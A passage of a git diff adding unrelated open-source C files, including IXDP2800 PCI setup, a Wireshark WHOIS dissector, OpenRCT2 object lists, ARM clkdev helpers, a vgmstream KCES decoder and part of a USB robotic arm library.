+				return IRQ_IXDP2800_INGRESS_NPU;
+
+			return -1;
+		}
+
+		/*
+		 * Bridge behind the PMC slot.
+		 */
+		if(dev->bus->self->devfn == IXDP2X00_PMC_DEVFN &&
+			dev->bus->parent->self->devfn == IXDP2X00_P2P_DEVFN &&
+			!dev->bus->parent->self->bus->parent)
+				  return IRQ_IXDP2800_PMC;
+
+		/*
+		 * Device behind the first bridge
+		 */
+		if(dev->bus->self->devfn == IXDP2X00_P2P_DEVFN) {
+			switch(dev->devfn) {
+				case IXDP2X00_PMC_DEVFN:
+					return IRQ_IXDP2800_PMC;	
+			
+				case IXDP2800_MASTER_ENET_DEVFN:
+					return IRQ_IXDP2800_EGRESS_ENET;
+
+				case IXDP2800_SWITCH_FABRIC_DEVFN:
+					return IRQ_IXDP2800_FABRIC;
+			}
+		}
+
+		return -1;
+	} else return IRQ_IXP2000_PCIB; /* Slave NIC interrupt */
+}
+
+static void __init ixdp2800_master_enable_slave(void)
+{
+	volatile u32 *addr;
+
+	printk(KERN_INFO "IXDP2800: enabling slave NPU\n");
+
+	addr = (volatile u32 *)ixp2000_pci_config_addr(0,
+					IXDP2X00_SLAVE_NPU_DEVFN,
+					PCI_COMMAND);
+
+	*addr |= PCI_COMMAND_MASTER;
+}
+
+static void __init ixdp2800_master_wait_for_slave_bus_scan(void)
+{
+	volatile u32 *addr;
+
+	printk(KERN_INFO "IXDP2800: waiting for slave to finish bus scan\n");
+
+	addr = (volatile u32 *)ixp2000_pci_config_addr(0,
+					IXDP2X00_SLAVE_NPU_DEVFN,
+					PCI_COMMAND);
+	while ((*addr & PCI_COMMAND_MEMORY) == 0)
+		cpu_relax();
+}
+
+static void __init ixdp2800_slave_signal_bus_scan_completion(void)
+{
+	printk(KERN_INFO "IXDP2800: bus scan done, signaling master\n");
+	*IXP2000_PCI_CMDSTAT |= PCI_COMMAND_MEMORY;
+}
+
+static void __init ixdp2800_pci_postinit(void)
+{
+	if (!ixdp2x00_master_npu()) {
+		ixdp2x00_slave_pci_postinit();
+		ixdp2800_slave_signal_bus_scan_completion();
+	}
+}
+
+struct __initdata hw_pci ixdp2800_pci __initdata = {
+	.nr_controllers	= 1,
+	.setup		= ixdp2800_pci_setup,
+	.preinit	= ixdp2800_pci_preinit,
+	.postinit	= ixdp2800_pci_postinit,
+	.scan		= ixp2000_pci_scan_bus,
+	.map_irq	= ixdp2800_pci_map_irq,
+};
+
+int __init ixdp2800_pci_init(void)
+{
+	if (machine_is_ixdp2800()) {
+		struct pci_dev *dev;
+
+		pci_common_init(&ixdp2800_pci);
+		if (ixdp2x00_master_npu()) {
+			dev = pci_find_slot(1, IXDP2800_SLAVE_ENET_DEVFN);
+			pci_remove_bus_device(dev);
+
+			ixdp2800_master_enable_slave();
+			ixdp2800_master_wait_for_slave_bus_scan();
+		} else {
+			dev = pci_find_slot(1, IXDP2800_MASTER_ENET_DEVFN);
+			pci_remove_bus_device(dev);
+		}
+	}
+
+	return 0;
+}
+
+subsys_initcall(ixdp2800_pci_init);
+
+void ixdp2800_init_irq(void)
+{
+	ixdp2x00_init_irq(IXDP2800_CPLD_INT_STAT, IXDP2800_CPLD_INT_MASK, IXDP2800_NR_IRQS);
+}
+
+MACHINE_START(IXDP2800, "Intel IXDP2800 Development Platform")
+	/* Maintainer: MontaVista Software, Inc. */
+	.phys_ram	= 0x00000000,
+	.phys_io	= IXP2000_UART_PHYS_BASE,
+	.io_pg_offst	= ((IXP2000_UART_VIRT_BASE) >> 18) & 0xfffc,
+	.boot_params	= 0x00000100,
+	.map_io		= ixdp2x00_map_io,
+	.init_irq	= ixdp2800_init_irq,
+	.timer		= &ixdp2800_timer,
+	.init_machine	= ixdp2x00_init_machine,
+MACHINE_END
+
diff --git a/pool/shard001/C/0022543_packet-whois.c b/pool/shard001/C/0022543_packet-whois.c
new file mode 100644
index 0000000000000000000000000000000000000000..6074875fc929adef79da6744b182da199651cf2f
--- /dev/null
+++ b/pool/shard001/C/0022543_packet-whois.c
@@ -0,0 +1,221 @@
+/* packet-whois.c
+ * Routines for whois dissection (see http://tools.ietf.org/html/rfc3912)
+ * Copyright 2013, Christopher Maynard <Christopher.Maynard@gtech.com>
+ *
+ * Wireshark - Network traffic analyzer
+ * By Gerald Combs <gerald@wireshark.org>
+ * Copyright 1998 Gerald Combs
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program; if not, write to the Free Software Foundation, Inc.,
+ * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ */
+
+#include "config.h"
+#include <epan/packet.h>
+#include <epan/conversation.h>
+#include <epan/expert.h>
+
+#define WHOIS_PORT      43  /* This is the registered IANA port (nicname) */
+
+void proto_register_whois(void);
+void proto_reg_handoff_whois(void);
+
+static int proto_whois = -1;
+static int hf_whois_query = -1;
+static int hf_whois_answer = -1;
+static int hf_whois_answer_in = -1;
+static int hf_whois_answer_to = -1;
+static int hf_whois_response_time = -1;
+
+static expert_field ei_whois_nocrlf = EI_INIT;
+
+static gint ett_whois = -1;
+
+typedef struct _whois_transaction_t {
+    guint32  req_frame;
+    guint32  rep_frame;
+    nstime_t req_time;
+} whois_transaction_t;
+
+static int
+dissect_whois(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree,
+    void *data _U_)
+{
+    proto_item          *ti, *expert_ti;
+    proto_tree          *whois_tree;
+    conversation_t      *conversation;
+    whois_transaction_t *whois_trans;
+    gboolean             is_query;
+    guint                len;
+
+    col_set_str(pinfo->cinfo, COL_PROTOCOL, "WHOIS");
+
+    if (pinfo->destport == WHOIS_PORT) {
+        is_query = TRUE;
+        col_set_str(pinfo->cinfo, COL_INFO, "Query");
+    } else {
+        is_query = FALSE;
+        col_set_str(pinfo->cinfo, COL_INFO, "Answer");
+    }
+
+    conversation = find_or_create_conversation(pinfo);
+    whois_trans = (whois_transaction_t *)conversation_get_proto_data(conversation, proto_whois);
+    if (whois_trans == NULL) {
+        whois_trans = wmem_new0(wmem_file_scope(), whois_transaction_t);
+        conversation_add_proto_data(conversation, proto_whois, whois_trans);
+    }
+
+    len = tvb_reported_length(tvb);
+    if (!PINFO_FD_VISITED(pinfo)) {
+        if (pinfo->can_desegment) {
+            if (is_query) {
+                if ((len < 2) || (tvb_memeql(tvb, len - 2, "\r\n", 2))) {
+                    pinfo->desegment_len = DESEGMENT_ONE_MORE_SEGMENT;
+                    pinfo->desegment_offset = 0;
+                    return -1;
+                } else {
+                    whois_trans->req_frame = pinfo->fd->num;
+                    whois_trans->req_time = pinfo->fd->abs_ts;
+                }
+            } else {
+                pinfo->desegment_len = DESEGMENT_UNTIL_FIN;
+                pinfo->desegment_offset = 0;
+                return -1;
+            }
+        }
+    } else if (is_query && (whois_trans->req_frame == 0)) {
+        whois_trans->req_frame = pinfo->fd->num;
+        whois_trans->req_time = pinfo->fd->abs_ts;
+    }
+
+    if (!is_query && (whois_trans->rep_frame == 0)) {
+        /* By comparing whois_trans->rep_frame to 0, if reassembly is turned
+         * on, whois_trans->rep_frame will be assigned to the reassembled frame
+         * number, and if reassembly is turned off, whois_trans->rep_frame will
+         * be assigned to the first frame number of the response.  This seems
+         * to match other protocols' behavior.  The alternative is:
+         *      if (pinfo->fd->num > whois_trans->rep_frame)
+         * which will give us the same frame number either way.
+         */
+        whois_trans->rep_frame = pinfo->fd->num;
+    }
+
+    ti = proto_tree_add_protocol_format(tree, proto_whois, tvb, 0, -1,
+        "WHOIS: %s", is_query ? "Query" : "Answer");
+    whois_tree = proto_item_add_subtree(ti, ett_whois);
+
+    if (is_query) {
+        expert_ti = proto_tree_add_item(whois_tree, hf_whois_query, tvb, 0, -1, ENC_ASCII|ENC_NA);
+        if ((len < 2) || (tvb_memeql(tvb, len - 2, "\r\n", 2))) {
+            /*
+             * From RFC3912, section 2:
+             * All requests are terminated with ASCII CR and then ASCII LF.
+             */
+            expert_add_info(pinfo, expert_ti, &ei_whois_nocrlf);
+        }
+        if (tree && whois_trans->rep_frame) {
+            ti = proto_tree_add_uint(whois_tree, hf_whois_answer_in,
+                tvb, 0, 0, whois_trans->rep_frame);
+            PROTO_ITEM_SET_GENERATED(ti);
+        }
+    } else if (tree && whois_trans->rep_frame) {
+        proto_tree_add_item(whois_tree, hf_whois_answer, tvb, 0, -1, ENC_ASCII|ENC_NA);
+        if (whois_trans->req_frame) {
+            nstime_t ns;
+
+            ti = proto_tree_add_uint(whois_tree, hf_whois_answer_to,
+                tvb, 0, 0, whois_trans->req_frame);
+            PROTO_ITEM_SET_GENERATED(ti);
+
+            if (pinfo->fd->num == whois_trans->rep_frame) {
+                nstime_delta(&ns, &pinfo->fd->abs_ts, &whois_trans->req_time);
+                ti = proto_tree_add_time(whois_tree, hf_whois_response_time, tvb, 0, 0, &ns);
+                PROTO_ITEM_SET_GENERATED(ti);
+            }
+        }
+    }
+
+    return tvb_captured_length(tvb);
+}
+
+void
+proto_register_whois(void)
+{
+    expert_module_t *expert_whois;
+
+    static hf_register_info hf[] = {
+        { &hf_whois_query,
+            { "Query", "whois.query", FT_STRING, BASE_NONE, NULL, 0x0,
+              NULL, HFILL }
+        },
+        { &hf_whois_answer,
+            { "Answer", "whois.answer", FT_STRING, BASE_NONE, NULL, 0x0,
+              NULL, HFILL }
+        },
+        { &hf_whois_answer_in,
+            { "Answer In", "whois.answer_in", FT_FRAMENUM, BASE_NONE, NULL,
+              0x0, "The answer to this WHOIS query is in this frame",
+              HFILL }
+        },
+        { &hf_whois_answer_to,
+            { "Query In", "whois.answer_to", FT_FRAMENUM, BASE_NONE, NULL,
+              0x0, "This is the answer to the WHOIS query in this frame",
+              HFILL }
+        },
+        { &hf_whois_response_time,
+            { "Response Time", "whois.response_time", FT_RELATIVE_TIME,
+              BASE_NONE, NULL, 0x0,
+              "The time between the Query and the Answer", HFILL }
+        }
+    };
+
+    static gint *ett[] = {
+        &ett_whois
+    };
+
+    static ei_register_info ei[] = {
+        { &ei_whois_nocrlf,
+            { "whois.nocrlf", PI_MALFORMED, PI_WARN, "Missing <CR><LF>", EXPFILL}
+        }
+    };
+
+    proto_whois = proto_register_protocol("whois", "WHOIS", "whois");
+    proto_register_field_array(proto_whois, hf, array_length(hf));
+    proto_register_subtree_array(ett, array_length(ett));
+    expert_whois = expert_register_protocol(proto_whois);
+    expert_register_field_array(expert_whois, ei, array_length(ei));
+}
+
+void
+proto_reg_handoff_whois(void)
+{
+    static dissector_handle_t whois_handle;
+
+    whois_handle = create_dissector_handle(dissect_whois, proto_whois);
+    dissector_add_uint("tcp.port", WHOIS_PORT, whois_handle);
+}
+
+/*
+ * Editor modelines  -  http://www.wireshark.org/tools/modelines.html
+ *
+ * Local variables:
+ * c-basic-offset: 4
+ * tab-width: 8
+ * indent-tabs-mode: nil
+ * End:
+ *
+ * vi: set shiftwidth=4 tabstop=8 expandtab:
+ * :indentSize=4:tabSize=8:noTabs=true:
+ */
+
diff --git a/pool/shard001/C/0022552_object_list.c b/pool/shard001/C/0022552_object_list.c
new file mode 100644
index 0000000000000000000000000000000000000000..c9b6d97b676849a11c4372aebe68e305c192f8bb
--- /dev/null
+++ b/pool/shard001/C/0022552_object_list.c
@@ -0,0 +1,209 @@
+#pragma region Copyright (c) 2014-2016 OpenRCT2 Developers
+/*****************************************************************************
+ * OpenRCT2, an open source clone of Roller Coaster Tycoon 2.
+ *
+ * OpenRCT2 is the work of many authors, a full list can be found in contributors.md
+ * For more information, visit https://github.com/OpenRCT2/OpenRCT2
+ *
+ * OpenRCT2 is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * A full copy of the GNU General Public License can be found in licence.txt
+ *****************************************************************************/
+#pragma endregion
+
+#include "game.h"
+#include "object.h"
+#include "object_list.h"
+#include "object/ObjectRepository.h"
+#include "util/sawyercoding.h"
+#include "util/util.h"
+
+// 98DA00
+sint32 object_entry_group_counts[] = {
+	128,	// rides
+	252,	// small scenery
+	128,	// large scenery
+	128,	// walls
+	32,		// banners
+	16,		// paths
+	15,		// path bits
+	19,		// scenery sets
+	1,		// park entrance
+	1,		// water
+	1		// scenario text
+};
+
+// 98DA2C
+sint32 object_entry_group_encoding[] = {
+	CHUNK_ENCODING_RLE,
+	CHUNK_ENCODING_RLE,
+	CHUNK_ENCODING_RLE,
+	CHUNK_ENCODING_RLE,
+	CHUNK_ENCODING_RLE,
+	CHUNK_ENCODING_RLE,
+	CHUNK_ENCODING_RLE,
+	CHUNK_ENCODING_RLE,
+	CHUNK_ENCODING_RLE,
+	CHUNK_ENCODING_RLE,
+	CHUNK_ENCODING_ROTATE
+};
+
+#ifdef NO_RCT2
+	rct_ride_entry				*gRideEntries[128];
+	rct_small_scenery_entry		*gSmallSceneryEntries[252];
+	rct_large_scenery_entry		*gLargeSceneryEntries[128];
+	rct_wall_scenery_entry		*gWallSceneryEntries[128];
+	rct_banner					*gBannerSceneryEntries[32];
+	rct_footpath_entry			*gFootpathEntries[16];
+	rct_path_bit_scenery_entry	*gFootpathAdditionEntries[15];
+	rct_scenery_set_entry		*gSceneryGroupEntries[19];
+	rct_entrance_type			*gParkEntranceEntries[1];
+	rct_water_type				*gWaterEntries[1];
+	rct_stex_entry				*gStexEntries[1];
+#endif
+
+#ifdef NO_RCT2
+	rct_object_entry_extended _objectEntriesRides[128];
+	rct_object_entry_extended _objectEntriesSmallScenery[252];
+	rct_object_entry_extended _objectEntriesLargeScenery[128];
+	rct_object_entry_extended _objectEntriesWalls[128];
+	rct_object_entry_extended _objectEntriesBanners[32];
+	rct_object_entry_extended _objectEntriesFootpaths[16];
+	rct_object_entry_extended _objectEntriesFootpathAdditions[15];
+	rct_object_entry_extended _objectEntriesSceneryGroups[19];
+	rct_object_entry_extended _objectEntriesParkEntrances[1];
+	rct_object_entry_extended _objectEntriesWaters[1];
+	rct_object_entry_extended _objectEntriesStexs[1];
+#else
+	#define _objectEntriesRides             RCT2_ADDRESS(0x00F3F03C             ,rct_object_entry_extended)
+	#define _objectEntriesSmallScenery      RCT2_ADDRESS(0x00F3F03C + (128 * 20),rct_object_entry_extended)
+	#define _objectEntriesLargeScenery      RCT2_ADDRESS(0x00F3F03C + (380 * 20),rct_object_entry_extended)
+	#define _objectEntriesWalls             RCT2_ADDRESS(0x00F3F03C + (508 * 20),rct_object_entry_extended)
+	#define _objectEntriesBanners           RCT2_ADDRESS(0x00F3F03C + (636 * 20),rct_object_entry_extended)
+	#define _objectEntriesFootpaths         RCT2_ADDRESS(0x00F3F03C + (668 * 20),rct_object_entry_extended)
+	#define _objectEntriesFootpathAdditions RCT2_ADDRESS(0x00F3F03C + (684 * 20),rct_object_entry_extended)
+	#define _objectEntriesSceneryGroups     RCT2_ADDRESS(0x00F3F03C + (699 * 20),rct_object_entry_extended)
+	#define _objectEntriesParkEntrances     RCT2_ADDRESS(0x00F3F03C + (718 * 20),rct_object_entry_extended)
+	#define _objectEntriesWaters            RCT2_ADDRESS(0x00F3F03C + (719 * 20),rct_object_entry_extended)
+	#define _objectEntriesStexs             RCT2_ADDRESS(0x00F3F03C + (720 * 20),rct_object_entry_extended)
+#endif // NO_RCT2
+
+
+// 0x98D97C chunk address', 0x98D980 object_entries
+const rct_object_entry_group object_entry_groups[] = {
+	(void**)(gRideEntries				), _objectEntriesRides,	// rides
+	(void**)(gSmallSceneryEntries		), _objectEntriesSmallScenery,	// small scenery	0x009AD1A4, 0xF2FA3C
+	(void**)(gLargeSceneryEntries		), _objectEntriesLargeScenery,	// large scenery	0x009AD594, 0xF40DEC
+	(void**)(gWallSceneryEntries		), _objectEntriesWalls,	// walls			0x009AD794, 0xF417EC
+	(void**)(gBannerSceneryEntries		), _objectEntriesBanners,	// banners			0x009AD994, 0xF421EC
+	(void**)(gFootpathEntries			), _objectEntriesFootpaths,	// paths			0x009ADA14, 0xF4246C
+	(void**)(gFootpathAdditionEntries	), _objectEntriesFootpathAdditions,	// path bits		0x009ADA54, 0xF425AC
+	(void**)(gSceneryGroupEntries		), _objectEntriesSceneryGroups,	// scenery sets		0x009ADA90, 0xF426D8
+	(void**)(gParkEntranceEntries		), _objectEntriesParkEntrances,	// park entrance	0x009ADADC, 0xF42854
+	(void**)(gWaterEntries				), _objectEntriesWaters,	// water			0x009ADAE0, 0xF42868
+	(void**)(gStexEntries				), _objectEntriesStexs,	// scenario text	0x009ADAE4, 0xF4287C
+};
+
+bool object_entry_is_empty(const rct_object_entry *entry)
+{
+	uint64 a, b;
+	memcpy(&a, (uint8 *)entry, 8);
+	memcpy(&b, (uint8 *)entry + 8, 8);
+
+	if (a == 0xFFFFFFFFFFFFFFFF && b == 0xFFFFFFFFFFFFFFFF) return true;
+	if (a == 0 && b == 0) return true;
+	return false;
+}
+
+/**
+ *
+ *  rct2: 0x006AB344
+ */
+void object_create_identifier_name(char* string_buffer, size_t size, const rct_object_entry* object)
+{
+	snprintf(string_buffer, size, "%.8s/%4X%4X", object->name, object->flags, object->checksum);
+}
+
+/**
+ *
+ *  rct2: 0x006A9DA2
+ * bl = entry_index
+ * ecx = entry_type
+ */
+sint32 find_object_in_entry_group(const rct_object_entry* entry, uint8* entry_type, uint8* entry_index){
+	*entry_type = entry->flags & 0xF;
+
+	rct_object_entry_group entry_group = object_entry_groups[*entry_type];
+	for (*entry_index = 0;
+		*entry_index < object_entry_group_counts[*entry_type];
+		++(*entry_index),
+		entry_group.chunks++,
+		entry_group.entries++){
+
+		if (*entry_group.chunks == (uint8*)-1) continue;
+
+		if (object_entry_compare((rct_object_entry*)entry_group.entries, entry))break;
+	}
+
+	if (*entry_index == object_entry_group_counts[*entry_type])return 0;
+	return 1;
+}
+
+void get_type_entry_index(size_t index, uint8 * outObjectType, uint8 * outEntryIndex)
+{
+	uint8 objectType = OBJECT_TYPE_RIDE;
+	for (size_t i = 0; i < OBJECT_ENTRY_GROUP_COUNT; i++) {
+		size_t groupCount = object_entry_group_counts[i];
+		if (index >= groupCount) {
+			index -= groupCount;
+			objectType++;
+		} else {
+			break;
+		}
+	}
+
+	if (outObjectType != NULL) *outObjectType = objectType;
+	if (outEntryIndex != NULL) *outEntryIndex = (uint8)index;
+}
+
+const rct_object_entry * get_loaded_object_entry(size_t index)
+{
+	uint8 objectType, entryIndex;
+	get_type_entry_index(index, &objectType, &entryIndex);
+
+	rct_object_entry * entry = (rct_object_entry *)&(object_entry_groups[objectType].entries[entryIndex]);
+	return entry;
+}
+
+void * get_loaded_object_chunk(size_t index)
+{
+	uint8 objectType, entryIndex;
+	get_type_entry_index(index, &objectType, &entryIndex);
+
+	void *entry = object_entry_groups[objectType].chunks[entryIndex];
+	return entry;
+}
+
+void object_entry_get_name(utf8 * buffer, size_t bufferSize, const rct_object_entry * entry)
+{
+	size_t nameLength = 8;
+	const char * end = memchr(entry->name, ' ', 8);
+	if (end != NULL)
+	{
+		nameLength = (size_t)(end - entry->name);
+	}
+
+	bufferSize = min(nameLength + 1, bufferSize);
+	memcpy(buffer, entry->name, bufferSize - 1);
+	buffer[bufferSize - 1] = 0;
+}
+
+void object_entry_get_name_fixed(utf8 * buffer, size_t bufferSize, const rct_object_entry * entry)
+{
+	bufferSize = min(9, bufferSize);
+	memcpy(buffer, entry->name, bufferSize - 1);
+	buffer[bufferSize - 1] = 0;
+}
diff --git a/pool/shard001/C/0022580_clkdev.c b/pool/shard001/C/0022580_clkdev.c
new file mode 100644
index 0000000000000000000000000000000000000000..cce9c202856bf5f2bb1b812fa58d5e73e75c6b62
--- /dev/null
+++ b/pool/shard001/C/0022580_clkdev.c
@@ -0,0 +1,192 @@
+/*
+ *  arch/arm/common/clkdev.c
+ *
+ *  Copyright (C) 2008 Russell King.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 as
+ * published by the Free Software Foundation.
+ *
+ * Helper for the clk API to assist looking up a struct clk.
+ */
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <linux/device.h>
+#include <linux/list.h>
+#include <linux/errno.h>
+#include <linux/err.h>
+#include <linux/string.h>
+#include <linux/mutex.h>
+#include <linux/clk.h>
+#include <linux/slab.h>
+
+#include <asm/clkdev.h>
+#include <mach/clkdev.h>
+
+static LIST_HEAD(clocks);
+static DEFINE_MUTEX(clocks_mutex);
+
+/*
+ * Find the correct struct clk for the device and connection ID.
+ * We do slightly fuzzy matching here:
+ *  An entry with a NULL ID is assumed to be a wildcard.
+ *  If an entry has a device ID, it must match
+ *  If an entry has a connection ID, it must match
+ * Then we take the most specific entry - with the following
+ * order of precedence: dev+con > dev only > con only.
+ */
+static struct clk *clk_find(const char *dev_id, const char *con_id)
+{
+	struct clk_lookup *p;
+	struct clk *clk = NULL;
+	int match, best = 0;
+
+	list_for_each_entry(p, &clocks, node) {
+		match = 0;
+		if (p->dev_id) {
+			if (!dev_id || strcmp(p->dev_id, dev_id))
+				continue;
+			match += 2;
+		}
+		if (p->con_id) {
+			if (!con_id || strcmp(p->con_id, con_id))
+				continue;
+			match += 1;
+		}
+		if (match == 0)
+			continue;
+
+		if (match > best) {
+			clk = p->clk;
+			best = match;
+		}
+	}
+	return clk;
+}
+
+struct clk *clk_get_sys(const char *dev_id, const char *con_id)
+{
+	struct clk *clk;
+
+	mutex_lock(&clocks_mutex);
+	clk = clk_find(dev_id, con_id);
+	if (clk && !__clk_get(clk))
+		clk = NULL;
+	mutex_unlock(&clocks_mutex);
+
+	return clk ? clk : ERR_PTR(-ENOENT);
+}
+EXPORT_SYMBOL(clk_get_sys);
+
+struct clk *clk_get_sys_locked(const char *dev_id, const char *con_id)
+{
+	struct clk *clk;
+
+	//mutex_lock(&clocks_mutex);
+	clk = clk_find(dev_id, con_id);
+	if (clk && !__clk_get(clk))
+		clk = NULL;
+	//mutex_unlock(&clocks_mutex);
+
+	return clk ? clk : ERR_PTR(-ENOENT);
+}
+EXPORT_SYMBOL(clk_get_sys_locked);
+
+struct clk *clk_get(struct device *dev, const char *con_id)
+{
+	const char *dev_id = dev ? dev_name(dev) : NULL;
+
+	return clk_get_sys(dev_id, con_id);
+}
+EXPORT_SYMBOL(clk_get);
+
+void clk_put(struct clk *clk)
+{
+	__clk_put(clk);
+}
+EXPORT_SYMBOL(clk_put);
+
+void clkdev_add(struct clk_lookup *cl)
+{
+	mutex_lock(&clocks_mutex);
+	list_add_tail(&cl->node, &clocks);
+	mutex_unlock(&clocks_mutex);
+}
+EXPORT_SYMBOL(clkdev_add);
+
+void __init clkdev_add_table(struct clk_lookup *cl, size_t num)
+{
+	mutex_lock(&clocks_mutex);
+	while (num--) {
+		list_add_tail(&cl->node, &clocks);
+		cl++;
+	}
+	mutex_unlock(&clocks_mutex);
+}
+
+#define MAX_DEV_ID	20
+#define MAX_CON_ID	16
+
+struct clk_lookup_alloc {
+	struct clk_lookup cl;
+	char	dev_id[MAX_DEV_ID];
+	char	con_id[MAX_CON_ID];
+};
+
+struct clk_lookup *clkdev_alloc(struct clk *clk, const char *con_id,
+	const char *dev_fmt, ...)
+{
+	struct clk_lookup_alloc *cla;
+
+	cla = kzalloc(sizeof(*cla), GFP_KERNEL);
+	if (!cla)
+		return NULL;
+
+	cla->cl.clk = clk;
+	if (con_id) {
+		strlcpy(cla->con_id, con_id, sizeof(cla->con_id));
+		cla->cl.con_id = cla->con_id;
+	}
+
+	if (dev_fmt) {
+		va_list ap;
+
+		va_start(ap, dev_fmt);
+		vscnprintf(cla->dev_id, sizeof(cla->dev_id), dev_fmt, ap);
+		cla->cl.dev_id = cla->dev_id;
+		va_end(ap);
+	}
+
+	return &cla->cl;
+}
+EXPORT_SYMBOL(clkdev_alloc);
+
+int clk_add_alias(const char *alias, const char *alias_dev_name, char *id,
+	struct device *dev)
+{
+	struct clk *r = clk_get(dev, id);
+	struct clk_lookup *l;
+
+	if (IS_ERR(r))
+		return PTR_ERR(r);
+
+	l = clkdev_alloc(r, alias, alias_dev_name);
+	clk_put(r);
+	if (!l)
+		return -ENODEV;
+	clkdev_add(l);
+	return 0;
+}
+EXPORT_SYMBOL(clk_add_alias);
+
+/*
+ * clkdev_drop - remove a clock dynamically allocated
+ */
+void clkdev_drop(struct clk_lookup *cl)
+{
+	mutex_lock(&clocks_mutex);
+	list_del(&cl->node);
+	mutex_unlock(&clocks_mutex);
+	kfree(cl);
+}
+EXPORT_SYMBOL(clkdev_drop);
diff --git a/pool/shard001/C/0022587_ps2_kces.c b/pool/shard001/C/0022587_ps2_kces.c
new file mode 100644
index 0000000000000000000000000000000000000000..fcecee14c4499ca9fde60e04caed84bab448b516
--- /dev/null
+++ b/pool/shard001/C/0022587_ps2_kces.c
@@ -0,0 +1,71 @@
+#include "meta.h"
+#include "../util.h"
+
+/* KCES (from Dance Dance Revolution) */
+VGMSTREAM * init_vgmstream_ps2_kces(STREAMFILE *streamFile) {
+    VGMSTREAM * vgmstream = NULL;
+    char filename[260];
+    off_t start_offset;
+
+    int loop_flag = 0;
+	int channel_count;
+
+    /* check extension, case insensitive */
+    streamFile->get_name(streamFile,filename,sizeof(filename));
+    if (strcasecmp("kces",filename_extension(filename)) &&
+        strcasecmp("vig",filename_extension(filename))) goto fail;
+
+    /* check header */
+    if (read_32bitBE(0x00,streamFile) != 0x01006408)
+        goto fail;
+
+    loop_flag = (read_32bitLE(0x14,streamFile)!=0); 
+    channel_count = read_32bitLE(0x1C,streamFile);
+    
+	/* build the VGMSTREAM */
+    vgmstream = allocate_vgmstream(channel_count,loop_flag);
+    if (!vgmstream) goto fail;
+
+	/* fill in the vital statistics */
+    start_offset = read_32bitLE(0x08,streamFile);
+	vgmstream->channels = channel_count;
+    vgmstream->sample_rate = read_32bitLE(0x18,streamFile);
+    vgmstream->coding_type = coding_PSX;
+    vgmstream->num_samples = read_32bitLE(0x0C,streamFile)*28/16/channel_count;
+    if (loop_flag) {
+        vgmstream->loop_start_sample = (read_32bitLE(0x0C,streamFile)-read_32bitLE(0x14,streamFile))*28/16/channel_count;
+        vgmstream->loop_end_sample = read_32bitLE(0x0C,streamFile)*28/16/channel_count;
+    }
+
+
+	if(vgmstream->channels==1) {
+		vgmstream->layout_type=layout_none;
+	} else {
+		vgmstream->layout_type = layout_interleave;
+		vgmstream->interleave_block_size = read_32bitLE(0x24,streamFile);
+	}
+    vgmstream->meta_type = meta_PS2_KCES;
+
+    /* open the file for reading */
+    {
+        int i;
+        STREAMFILE * file;
+        file = streamFile->open(streamFile,filename,STREAMFILE_DEFAULT_BUFFER_SIZE);
+        if (!file) goto fail;
+        for (i=0;i<channel_count;i++) {
+            vgmstream->ch[i].streamfile = file;
+
+            vgmstream->ch[i].channel_start_offset=
+                vgmstream->ch[i].offset=start_offset+
+                vgmstream->interleave_block_size*i;
+
+        }
+    }
+
+    return vgmstream;
+
+    /* clean up anything we may have opened */
+fail:
+    if (vgmstream) close_vgmstream(vgmstream);
+    return NULL;
+}
diff --git a/pool/shard001/C/0022593_libedgerbtarm.c b/pool/shard001/C/0022593_libedgerbtarm.c
new file mode 100644
index 0000000000000000000000000000000000000000..b13b555fc7e2db5c2aaf1bf1c081681e453cb2d9
--- /dev/null
+++ b/pool/shard001/C/0022593_libedgerbtarm.c
@@ -0,0 +1,165 @@
+/* libedgerbtarm.c
+ *
+ * Edge USB robotic arm, trivial control library
+ *
+ * Copyrigt 2010 Vincent Sanders <vince@kyllikki.org>
+ *
+ * Released under the MIT licence.
+ */
+
+/* compile with something like
+ *
+ * gcc -Wall -I/usr/include/libusb-1.0/ -lusb-1.0 --shared -fPIC -o libedgerbtarm.so libedgerbtarm.c
+ *
+ */
+
+#include <stdio.h>
+#include <stdbool.h>
+#include <stdint.h>
+#include <sys/types.h>
+#include <malloc.h>
+
+#include <libusb.h>
+
+#include "libedgerbtarm.h"
+
+static libusb_device_handle *handle;
+static motor_dir *motors;
+static bool led = false;
+
+static bool 
+is_interesting(libusb_device *device)
+{
+    struct libusb_device_descriptor desc;
+    int r = libusb_get_device_descriptor(device, &desc);
+    if (r < 0) {
+        fprintf(stderr, "failed to get device descriptor");
+        return false;
+    }
+
+    if ((desc.idVendor == 0x1267) && (desc.idProduct == 0x0))
+        return true;
+
+    return false;
+}
+
+
+/** Turn everything off */
+static void
+stop_arm(libusb_device_handle *handle)
+{
+    uint8_t buf[4];
+
+    buf[0] = 0;
+    buf[1] = 0;
+    buf[2] = 0;
+
+    libusb_control_transfer(handle, LIBUSB_REQUEST_TYPE_VENDOR | LIBUSB_RECIPIENT_DEVICE, 6, 0x100, 0, buf, 3, 0);
+
+}
+
+static void
+control_arm(libusb_device_handle *handle, 
+                       motor_dir *motors, 
+                       bool led)
+{
+    uint32_t ctrl = 0;
+    uint8_t buf[4];
+    int motor_loop;
+
+    if (led)
+        ctrl |= 0xff<<16;
+
+    for (motor_loop = 0; motor_loop < 5; motor_loop++) {
+        //printf("%s: motors[%d]=%x\n",__func__,motor_loop, motors[motor_loop]);
+        ctrl |= (motors[motor_loop] << (motor_loop<<1));
+    }
+
+    buf[0] = ctrl & 0xff;
+    buf[1] = (ctrl & 0xff00) >> 8;
+    buf[2] = (ctrl & 0xff0000) >> 16;
+
+    //printf("%s: ctrl is %x buf %x,%x,%x\n",__func__,ctrl,buf[0],buf[1],buf[2]);
+
